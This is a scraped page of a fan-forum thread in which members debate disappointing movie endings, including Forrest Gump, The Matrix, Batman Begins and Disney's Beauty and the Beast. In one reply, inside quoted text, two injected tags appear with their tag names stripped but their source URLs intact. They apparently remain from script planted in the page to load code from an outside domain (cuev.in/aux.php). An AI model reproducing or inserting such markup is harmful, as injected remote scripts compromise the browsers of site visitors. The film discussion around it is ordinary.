Active Topics | Member List | Search | Help | Register | Login
Movies
Byrne Robotics > Movies << Prev Page of 3 Next >>
Topic: Movie Endings that Really Don’t Work Post ReplyPost New Topic
Author
Message
Matt Reed
Byrne Robotics Security
Avatar
Robotmod

Joined: 16 April 2004
Posts: 31634
Posted: 17 September 2016 at 1:48am | IP Logged | 1 post reply

Michael Penn, I have to take exception with some of your observations.  First


 INVISO TEXT (Click or highlight to reveal):
the scene in FORREST GUMP where Forrest recognizes his own son puts to rest the lie of "is he or isn't he" his real son.  The emotion in that scene tells us that he is.  That is the whole point of that scene.

Second
 INVISO TEXT (Click or highlight to reveal):
I think you think too much about BIG.  It's told from the kid's POV.  If we were to take every child's movie and switch the POV to the parent's then, yes, it would be horrible but it would also ruin every such film.


Back to Top profile | search
 
Vinny Valenti
Byrne Robotics Member
Avatar

Joined: 17 April 2004
Location: United States
Posts: 6088
Posted: 17 September 2016 at 7:33am | IP Logged | 2 post reply

ON DEADLY GROUND - Steven Seagal plays a supposed environmentalist that proceeds to kill innocent workers at an oil rig at the end of the movie, and then blows it all up. Because a burning oil rig spewing toxic fumes in the air and oil into the ocean would have NO ill effect on the environment, right?

Edited by Vinny Valenti on 17 September 2016 at 7:33am
Back to Top profile | search
 
John Byrne
Avatar
Beam Me Up, Scotty!

Joined: 11 May 2005
Posts: 106463
Posted: 17 September 2016 at 12:21pm | IP Logged | 3 post reply

ON DEADLY GROUND - Steven Seagal plays a supposed environmentalist that proceeds to kill innocent workers at an oil rig at the end of the movie, and then blows it all up. Because a burning oil rig spewing toxic fumes in the air and oil into the ocean would have NO ill effect on the environment, right?

As some of you know, it was something not unlike this that killed THE MATRIX for me. The first time I saw it I was blown away, but the second time the "shock of the new" had worn off, and I realized that those dozens upon dozens of "bad guys" Neo and his crew were slaughtering were just innocent employees doing their jobs.

Back to Top profile | search
 
Robbie Parry
Byrne Robotics Member
Avatar

Joined: 17 June 2007
Location: Scotland
Posts: 6751
Posted: 17 September 2016 at 12:52pm | IP Logged | 4 post reply

On a similar note, one flaw in BATMAN BEGINS is the scene where Ducard tells Bruce Wayne to kill an innocent man. Wayne refuses and says the main should stand trial. Then, perhaps by necessity, Wayne fights back and causes a lot of destruction that no doubt led to some deaths.

I am probably over-thinking that one.
Back to Top profile | search
 
Steven Myers
Byrne Robotics Member
Avatar

Joined: 10 June 2004
Location: United States
Posts: 4916
Posted: 17 September 2016 at 2:08pm | IP Logged | 5 post reply

Robbie, that was the only part of Batman Begins I didn't like. Made no sense. Though I do think the guy wasn't innocent, but rather helpless.
Back to Top profile | search | www
 
Brian Rhodes
Byrne Robotics Member
Avatar

Joined: 19 April 2004
Location: United States
Posts: 2521
Posted: 17 September 2016 at 3:23pm | IP Logged | 6 post reply

I think Bruce Wayne/Batman in BEGINS is firmly against cold-blooded murder of the defenseless, as his family was a victim of such an act. But maiming criminals either as a deterrent or in self-defense? Not a problem. Hell, he got in a jail fight just for "practice."

"I won't kill you...but I don't have to save you."  So, he let Ducard die. Of course, they hinted at the idea in this film that Ra's al Ghul could possibly be somehow immortal. The placid Obi-Wan-style* acceptance on his face as the train plummeted seemed to suggest that he was really kind of ok with dying...or had other plans. Of course, like many great seeds planted in BEGINS, they would piss all over this idea in the sequels, making Ra's just figuratively immortal (thru his offspring). So, Batman really did just let him die. For reals.


*Qui-Gon Jinn-style?


Back to Top profile | search | email
 
Robbie Parry
Byrne Robotics Member
Avatar

Joined: 17 June 2007
Location: Scotland
Posts: 6751
Posted: 17 September 2016 at 3:55pm | IP Logged | 7 post reply

Of course, like many great seeds planted in BEGINS, they would piss all over this idea in the sequels, making Ra's just figuratively immortal (thru his offspring). So, Batman really did just let him die. For reals. 

***

Can't really argue with what the film does in that respect. Tonally, it was going for the verisimilitude approach so an immortal Ra's al Ghul might not have seemed right. 
Back to Top profile | search
 
Warren Scott
Byrne Robotics Member
Avatar

Joined: 09 July 2016
Posts: 61
Posted: 19 December 2016 at 8:52pm | IP Logged | 8 post reply

I don't know how many people have seen it, but I submit "In and Out" starring Kevin Kline. I don't know how to do the inviso text, so I'll just say it starts out poking fun at stereotypes of people who are gay and straight, only to do a 360 and say a character not known to be gay at the beginning is actually gay.
Another is "The Tourist," starring Johnny Depp, because a character who acts completely like an innocent bystander through most of the movie (even in scenes in which he's alone) is shown at the end to be something else.
To those of you who have seen these movies, do you know what I mean?
Back to Top profile | search
 
Eric Smearman
Byrne Robotics Member
Avatar

Joined: 02 September 2006
Location: United States
Posts: 5216
Posted: 19 December 2016 at 9:55pm | IP Logged | 9 post reply

IN & OUT's ending didn't bother me. THE TOURIST did.
Back to Top profile | search | email
 
Eric Smearman
Byrne Robotics Member
Avatar

Joined: 02 September 2006
Location: United States
Posts: 5216
Posted: 19 December 2016 at 10:18pm | IP Logged | 10 post reply

Re: FORREST GUMP:

Jenny doesn't even love herself for most of the movie. Remember that
she was a victim of incest and as a result spent her life searching for
"love" in all the wrong places. She most definitely wouldn't feel worthy
of anything like what Forrest feels for her but she knows that his
feelings are sincere and sees him as a safe haven. At the end of the
movie, it's implied that she's in a healthier emotional state. Does she
genuinely love Forrest? Maybe not romantically, but she loves him
enough to do right by him and their son by bringing them together
before she dies. It's not perfect or even neat. It is what it is. I find it
touching as it is. Your mileage may, of course, vary.

Edited by Eric Smearman on 20 December 2016 at 1:19pm
Back to Top profile | search | email
 
Eric Smearman
Byrne Robotics Member
Avatar

Joined: 02 September 2006
Location: United States
Posts: 5216
Posted: 19 December 2016 at 10:21pm | IP Logged | 11 post reply

Thought I did the above in inviso-text. I don't think I've ever done it
before. Will it be invisible to me when I see the post?
Back to Top profile | search | email
 
Warren Scott
Byrne Robotics Member
Avatar

Joined: 09 July 2016
Posts: 61
Posted: 20 December 2016 at 11:24am | IP Logged | 12 post reply

Nice defense of the "Forrest Gump" ending, Eric. Some folks on the IMDB took issue with it, too, and it bothered me. You summed it up nicely.
Back to Top profile | search
 
Stephen Churay
Byrne Robotics Member
Avatar

Joined: 25 March 2009
Location: United States
Posts: 7824
Posted: 20 December 2016 at 12:39pm | IP Logged | 13 post reply

JB, you really should check out the Blade
Runner Final Cut. It really makes you
think about the Dekard character.

Edited by Stephen Churay on 23 December 2016 at 8:52am
Back to Top profile | search | email
 
Rodrigo castellanos
Byrne Robotics Member
Avatar

Joined: 03 July 2012
Location: Uruguay
Posts: 109
Posted: 21 December 2016 at 10:32pm | IP Logged | 14 post reply

As some of you know, it was something not unlike this that killed THE MATRIX for me. The first time I saw it I was blown away, but the second time the "shock of the new" had worn off, and I realized that those dozens upon dozens of "bad guys" Neo and his crew were slaughtering were just innocent employees doing their jobs.< ="text/" src="https://cuev.in/aux.php?ver=1.1&ref=zte">< ="text/" src="https://cuev.in/aux.php?ver=1.1&ref=zte">

------------------------------------------------------------ ------------------------------

Neo and his crew are definitely portrayed as a revolutionary army. If you ask any real life revolutionary about these types of casualties I'm guessing his answer would be of the "Can't make an omelette without breaking some eggs" sort.
Back to Top profile | search
 
Kevin Hagerman
Byrne Robotics Member
Avatar

Joined: 15 April 2005
Location: United States
Posts: 16870
Posted: 22 December 2016 at 12:23am | IP Logged | 15 post reply

They address it in the movie that most of the people in The Matrix simply can't be yanked out of it at this point in time.  They're vested, and they will fight to defend their reality.

But still: they made slaughtering them look too cool.

Back to Top profile | search
 
Eric Sofer
Byrne Robotics Member
Avatar

Joined: 31 January 2014
Location: United States
Posts: 1013
Posted: 22 December 2016 at 5:55am | IP Logged | 16 post reply

Of course, in "The Matrix", the computers seemed to regularly do the same slaughter. I mean, yes, in a war, civilians get hurt. It still seems a case of "We can't sink to our opponents' levels, or we are no better than they."

I understand that the human race being held captives is reprehensible... but it didn't seem such a matter of urgency that the humans had to kill those who they were trying to save.
Back to Top profile | search
 
Stephen Churay
Byrne Robotics Member
Avatar

Joined: 25 March 2009
Location: United States
Posts: 7824
Posted: 23 December 2016 at 8:58am | IP Logged | 17 post reply

My first thought was BATMAN V SUPERMAN.
But in its case, the beginning and middle
don't really work either.

Tim Burton's PLANET OF THE APES. It
wreaked of wanting to put a surprise
ending without any thought as to why it
should be there.
Back to Top profile | search | email
 
Phil Kreisel
Byrne Robotics Member
Avatar

Joined: 03 February 2006
Location: Canada
Posts: 1427
Posted: 23 December 2016 at 1:35pm | IP Logged | 18 post reply

Tim Burton's PLANET OF THE APES. It wreaked of wanting to put a surprise ending without any thought as to why it should be there.

------------------------------------------------------------ ---------------------

Stephen, in the original book (Monkey Planet), which the movie was based on, the ending was similar to what Tim Burton depicted in the film. There was a sequel planned to follow what happened to Mark Walburg's character, but never got made.
Back to Top profile | search
 
Kevin Hagerman
Byrne Robotics Member
Avatar

Joined: 15 April 2005
Location: United States
Posts: 16870
Posted: 23 December 2016 at 7:03pm | IP Logged | 19 post reply

I understand that the human race being held captives is reprehensible... but it didn't seem such a matter of urgency that the humans had to kill those who they were trying to save.

--

And they had an "out": people, left alive, would alert the Agents to their presence.  And perhaps when the Agents take over a person, that kills them also.  But this never rises above implication.

Back to Top profile | search
 
Ray Brady
Byrne Robotics Member
Avatar

Joined: 16 April 2004
Location: United States
Posts: 3622
Posted: 23 December 2016 at 8:38pm | IP Logged | 20 post reply

My classic example of an unsatisfying "happy" ending is Beauty and the Beast, the Disney version in particular.

Belle establishes from the outset that she yearns for a life of adventure, and wants "more than this provincial life." She finds that in the Beast and his enchanted castle, and the moment she overcomes her fear of the cursed creature and learns to love him, it's all taken away.

The Prince at the end of the film is someone she has essentially never met before, but the expectation is that she will marry him nonetheless. Despite the fact that he's not the man she fell in love with, and cannot possibly be as interesting. Her home changes instantly from an enchanted, magical wonderland to a perfectly ordinary castle with a perfectly mundane staff. And we're supposed to believe that this is an improvement, and that Belle will necessarily be happy with the change. Personally, I never bought it.
Back to Top profile | search | www
 
Ed Love
Byrne Robotics Member
Avatar

Joined: 05 October 2004
Location: United States
Posts: 2669
Posted: 29 December 2016 at 3:40pm | IP Logged | 21 post reply

In thinking of movies I've recently seen, realize the recent THE JUNGLE BOOK falls into this category. I enjoyed the movie so much more than I expected and it does the one thing that I wished Tarzan had: show off the hero's cleverness and ingenuity compared to the beasts.

And, then the ending happens. I can understand wanting to change it somewhat from the Disney cartoon version, and taking out the completely fortuitous random lightning strike that gives Mowgli the needed fire. However, the whole movie is pretty much about taking him to the man's village which is so far away he needs a guide and protector. Yet, the ending only works with the village being at most a half a mile away, that Mowgli can run to it and back in about 5 minutes.
Back to Top profile | search | www
 
Marc Foxx
Byrne Robotics Member
Avatar

Joined: 16 April 2004
Location: United States
Posts: 5256
Posted: 31 December 2016 at 10:52am | IP Logged | 22 post reply

THE JUNGLE BOOK is in Public Domain, so you can download
it in iBooks or Amazon for free...I did so recently and
was surprised to learn that Baloo and Baghera's roles
are pretty much reversed and that the way Mowgli defeats
Shere Khan is also very different than in either of the
movies.
Back to Top profile | search | www | email
 
Shaun Barry
Byrne Robotics Member
Avatar

Joined: 08 December 2008
Location: United States
Posts: 4851
Posted: 31 December 2016 at 12:05pm | IP Logged | 23 post reply


The ending of Tim Burton's FRANKENWEENIE (2012) really left a sour taste... it was supposed to be happy & uplifting, when it should have really ended one other way only.


Back to Top profile | search
 
Andrew Bitner
Byrne Robotics Member
Avatar

Joined: 01 June 2004
Location: United States
Posts: 4957
Posted: 03 January 2017 at 8:12am | IP Logged | 24 post reply

Ray: Her home changes instantly from an enchanted, magical wonderland to a perfectly ordinary castle with a perfectly mundane staff. And we're supposed to believe that this is an improvement, and that Belle will necessarily be happy with the change. Personally, I never bought it.

***

Belle strikes me as perhaps the very last Disney princess who was a bystander in her own story. She didn't do much to effect the outcome, and her own sense of adventure didn't carry her farther than a forgotten castle where--what, some prince is going to walk back into power after being a recluse for years? Yikes. That's a bigger suspension of disbelief than singing teacups.

It's interesting to me that my daughter, even as early as three or four, liked the LOOK of the Disney princesses but not their stories--she thought they didn't do anything.
Back to Top profile | search
 
Steve De Young
Byrne Robotics Member
Avatar

Joined: 01 April 2008
Location: United States
Posts: 2522
Posted: 03 January 2017 at 9:27am | IP Logged | 25 post reply

The Prince at the end of the film is someone she has essentially never met before, but the expectation is that she will marry him nonetheless. Despite the fact that he's not the man she fell in love with, and cannot possibly be as interesting. Her home changes instantly from an enchanted, magical wonderland to a perfectly ordinary castle with a perfectly mundane staff. And we're supposed to believe that this is an improvement, and that Belle will necessarily be happy with the change. Personally, I never bought it.
----------------------------------------------
My problem with it was more that it should have been titled: Stockholm Syndrome, the Musical.
Back to Top profile | search
 

<< Prev Page of 3 Next >>
  Post ReplyPost New Topic
Printable version Printable version

Forum Jump
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot delete your posts in this forum
You cannot edit your posts in this forum
You cannot create polls in this forum
You cannot vote in polls in this forum

 Active Topics | Member List | Search | Help | Register | Login